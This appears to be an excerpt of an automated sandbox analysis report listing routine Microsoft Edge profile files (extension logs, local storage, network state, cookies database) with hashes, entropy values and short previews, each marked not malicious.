C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.182827141006564
Encrypted:	false
SSDEEP:	6:y1B2Oq2P923oH+Tcwt865IFUt8h1CZmw+h1ukwO923oH+Tcwt86+ULJ:CBDv4Yeb/WFUt8TC/+Tu5LYeb/+SJ
MD5:	2C3584906AEF0CDC0D7F5ECF74E16C53
SHA1:	F87C62F63CDC000988FC6944A2BD9571447D2600
SHA-256:	266829E21A2BC2854BFB342F6D3588D43EAB7E72091F51253B07C6BE3A535AAE
SHA-512:	6AEB87752E49B6B137FD13768E5527BACFCCCEB1CFC6BA7CF042F31943832304D8EB4FE6F690076C663E07A294B75CEC554E03517C13E85E85E28BE1A1CAF1F5
Malicious:	false
Preview:	2024/10/28-13:43:22.944 1eb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/28-13:43:22.946 1eb0 Recovering log #3.2024/10/28-13:43:22.946 1eb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.182827141006564
Encrypted:	false
SSDEEP:	6:y1B2Oq2P923oH+Tcwt865IFUt8h1CZmw+h1ukwO923oH+Tcwt86+ULJ:CBDv4Yeb/WFUt8TC/+Tu5LYeb/+SJ
MD5:	2C3584906AEF0CDC0D7F5ECF74E16C53
SHA1:	F87C62F63CDC000988FC6944A2BD9571447D2600
SHA-256:	266829E21A2BC2854BFB342F6D3588D43EAB7E72091F51253B07C6BE3A535AAE
SHA-512:	6AEB87752E49B6B137FD13768E5527BACFCCCEB1CFC6BA7CF042F31943832304D8EB4FE6F690076C663E07A294B75CEC554E03517C13E85E85E28BE1A1CAF1F5
Malicious:	false
Preview:	2024/10/28-13:43:22.944 1eb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/28-13:43:22.946 1eb0 Recovering log #3.2024/10/28-13:43:22.946 1eb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.120912240796994
Encrypted:	false
SSDEEP:	6:yCA+q2P923oH+Tcwt8NIFUt8hCQZmw+hCAVkwO923oH+Tcwt8+eLJ:hFv4YebpFUt8kQ/+kY5LYebqJ
MD5:	5C73B687423AFAB011EE6E13923A5B6E
SHA1:	1A8325BE6A7F6ACB842203689E6932C092ACBDD5
SHA-256:	B663CE458CC91EC4F2AA40C7307934C026E2641BC2B82AB7EBC5F54FB7F203ED
SHA-512:	676CA28AC422A2C581065B39097ED428D21EC10BD40614447B7946816E79DB57033705B8EBCD05805DA5281C929F4FA7FB8F1730206F59A245E55740D211CE9F
Malicious:	false
Preview:	2024/10/28-13:43:23.643 ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/28-13:43:23.643 ea8 Recovering log #3.2024/10/28-13:43:23.643 ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.120912240796994
Encrypted:	false
SSDEEP:	6:yCA+q2P923oH+Tcwt8NIFUt8hCQZmw+hCAVkwO923oH+Tcwt8+eLJ:hFv4YebpFUt8kQ/+kY5LYebqJ
MD5:	5C73B687423AFAB011EE6E13923A5B6E
SHA1:	1A8325BE6A7F6ACB842203689E6932C092ACBDD5
SHA-256:	B663CE458CC91EC4F2AA40C7307934C026E2641BC2B82AB7EBC5F54FB7F203ED
SHA-512:	676CA28AC422A2C581065B39097ED428D21EC10BD40614447B7946816E79DB57033705B8EBCD05805DA5281C929F4FA7FB8F1730206F59A245E55740D211CE9F
Malicious:	false
Preview:	2024/10/28-13:43:23.643 ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/28-13:43:23.643 ea8 Recovering log #3.2024/10/28-13:43:23.643 ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:QRlntFlljq7A/mhWJFuQ3yy7IOWUCKl/dweytllrE9SFcTp4AGbNCV9RUIbd:Qw75fOjl/d0Xi99pEYBd
MD5:	A5243F1109AB3EEFD2F9E768176C670E
SHA1:	51709207EA02D3D1B50214D94CA51E6CF0120E1B
SHA-256:	9462AD76786AB2E260EB0B5F58E8DD7B458CD0197AC06FEB4C9F3538E41FDF9D
SHA-512:	A3D58AF552A876B7409F2186A518D9FA4FA31F80AF47322EE892CA5471DD334FE12133562996485A4C5ECDFC9FFD5D1B20A5D1E475B9857EAC13F08A8E2FC4D4
Malicious:	false
Preview:	..............V...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481260415575596
Encrypted:	false
SSDEEP:	384:aj9P012QkQerkjlxP/KbtLcg773pL9hCgam6ItRKToaAu:adPe2mlxP/Ng7Pv9RKcC
MD5:	8D3B8E3A72C40BAD6B53D27E09419923
SHA1:	561B9DDED7215DE5C2D7E4FDB64D5EB8A010A62C
SHA-256:	4C7F428D712485570F5840B0FA241809A64B9AF4D3BB4055663DAED3F371F09C
SHA-512:	B77E85B650C227FBAE00CBCBF0C87D6C883ABEAA0255D740CDFA2EE41E2E6E5DEB971CF51649C3399815AC058F1B175C7BBF2FC3CEC983B6ACEF67C2323EB624
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.241239788644214
Encrypted:	false
SSDEEP:	12:3v4Yeb8rcHEZrELFUt8j/+yD5LYeb8rcHEZrEZSJ:f4Yeb8nZrExg8fVLYeb8nZrEZe
MD5:	8E453ECF70CE9759511D881CFCCC9A51
SHA1:	B42B506E2FE03C4DA0286E8D7B6C170BF4807803
SHA-256:	5437A462D79146ECD7A95F3466BAD7394D93B87716FF994425FF158CDDE45C06
SHA-512:	95032026100468F42B3A5362EC188F3865AA1E66659EDA15551155D8CC3A0610F89EA25B70C3F0F74197147B99D62050D7F6AE4CBE2D3B8B537E51D2791FAF98
Malicious:	false
Preview:	2024/10/28-13:43:27.131 ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/28-13:43:27.131 ea8 Recovering log #3.2024/10/28-13:43:27.132 ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.241239788644214
Encrypted:	false
SSDEEP:	12:3v4Yeb8rcHEZrELFUt8j/+yD5LYeb8rcHEZrEZSJ:f4Yeb8nZrExg8fVLYeb8nZrEZe
MD5:	8E453ECF70CE9759511D881CFCCC9A51
SHA1:	B42B506E2FE03C4DA0286E8D7B6C170BF4807803
SHA-256:	5437A462D79146ECD7A95F3466BAD7394D93B87716FF994425FF158CDDE45C06
SHA-512:	95032026100468F42B3A5362EC188F3865AA1E66659EDA15551155D8CC3A0610F89EA25B70C3F0F74197147B99D62050D7F6AE4CBE2D3B8B537E51D2791FAF98
Malicious:	false
Preview:	2024/10/28-13:43:27.131 ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/28-13:43:27.131 ea8 Recovering log #3.2024/10/28-13:43:27.132 ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1654
Entropy (8bit):	5.678677494594032
Encrypted:	false
SSDEEP:	48:nZbbRxIXZeYQV0374/jU1c/60Zu3fHHQ2ztPFX:nNb+FZWhQZRJ
MD5:	97E190AEC10A941A9F1A9D8DB27D876B
SHA1:	6927F2C6123FE114C4992D7D451B490B3081275F
SHA-256:	0CD1D11327F017A81594D0D12C1520ECF99D985413D7F2A4DCBA26D26374EB99
SHA-512:	397505D4286189963E680EB2F5543BBE15B959DD12B0A8DD21E0911336B488A4F2F0629018C685FE2177D97B3253C218FBFAC7E799845DC019554D4BF8E4C09E
Malicious:	false
Preview:	.O.x.................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1730137415128.._https://ntp.msn.com..MUID!.29FEC05542B56D820230D57343E26C2D.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730137415260,"schedule":[18,-1,-1,4,31,-1,-1],"scheduleFixed":[18,-1,-1,4,31,-1,-1],"simpleSchedule":[37,52,13,45,29,23,49]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730137415073.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241025.434"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Mon Oct 28 2024 13:43:37 GMT-0400 (Eastern Daylight Time).!_https://ntp.msn.com..storageTest(..l.................META:https://ntp.msn.com............_https://ntp.msn.com..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.146898226138598
Encrypted:	false
SSDEEP:	6:ySU1yq2P923oH+Tcwt8a2jMGIFUt8h4K1Zmw+hyjlRkwO923oH+Tcwt8a2jMmLJ:LU4v4Yeb8EFUt8r1/+EP5LYeb8bJ
MD5:	E3C7D0673BB294173ADDFEF17DA0477A
SHA1:	F508FBA923BFECFD9D6D7A5EEA4B5ED60F416ECA
SHA-256:	C256AE7A0E18E64167067CA678564B428F201191284B0EED30CB13451AEF400F
SHA-512:	0796A59125860347BB8400C202293363DBCB84549DBEA2DBC607BB977C9EB859993D41FF3AE04A8D745165526D490236D97B4871EA9AD01A6CF04C2FBAB1DA9D
Malicious:	false
Preview:	2024/10/28-13:43:23.466 1c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/28-13:43:23.468 1c14 Recovering log #3.2024/10/28-13:43:23.492 1c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.146898226138598
Encrypted:	false
SSDEEP:	6:ySU1yq2P923oH+Tcwt8a2jMGIFUt8h4K1Zmw+hyjlRkwO923oH+Tcwt8a2jMmLJ:LU4v4Yeb8EFUt8r1/+EP5LYeb8bJ
MD5:	E3C7D0673BB294173ADDFEF17DA0477A
SHA1:	F508FBA923BFECFD9D6D7A5EEA4B5ED60F416ECA
SHA-256:	C256AE7A0E18E64167067CA678564B428F201191284B0EED30CB13451AEF400F
SHA-512:	0796A59125860347BB8400C202293363DBCB84549DBEA2DBC607BB977C9EB859993D41FF3AE04A8D745165526D490236D97B4871EA9AD01A6CF04C2FBAB1DA9D
Malicious:	false
Preview:	2024/10/28-13:43:23.466 1c14 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/28-13:43:23.468 1c14 Recovering log #3.2024/10/28-13:43:23.492 1c14 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\01cde82f-65a7-44c0-a781-63ef0451557b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\176ab097-1d42-4fa8-aebb-c9e8c39ead6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\337c8cb3-b4ee-451d-9c69-18b000523e41.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1907
Entropy (8bit):	5.316832839552344
Encrypted:	false
SSDEEP:	48:YcgCzsFP1tsFW1fcKs8leeBkBRsDCgHysUCgH6bxo+:FSP1SW1HkeBkB8TuT6Vo+
MD5:	0C239996E072F46925B5EFED9374DA4C
SHA1:	45BD259E565A59079575BE1D6EE29C513C04B194
SHA-256:	82D6046D739A9CEEB6085F0082FFE5E2F5FF16D63307454422DB8DCCB2811037
SHA-512:	4468579C075E6217BFE987A5A6425353544E03E5440183F18D8CF4BE59235900A563C18F5E50B8D14F91CBA4BC04BFE259DE6556861C560F4F14AFEAD2F7A700
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377203005716400","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377203008309392","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13374704610663250","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\87cda0d9-36cd-414b-aea4-ec9e4f7ae1fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.996274462658946
Encrypted:	false
SSDEEP:	192:tTA0jWYqqynvICLxnj7kfb2Bn0mUYO0B/zbl0b:VA0j1qquvICLxnjKsn0ma0B7bl0b
MD5:	9D4C03017D0CAD6043516E0908E50ED9
SHA1:	78FC119B3B6FCECD93A7E342BC010FE26DD3F92B
SHA-256:	46E492C05A9E1B6500DA7B8792798DEBA61C400FD43601F213B57372B834F276
SHA-512:	547ADE263048A961506B6F07F73E56604BD3874E162E15AC776C003AF452F2DEBF545754EF9A61658132C60108B51F477C8482CD98B5823A2CFE277B2F50E33E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF499ea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
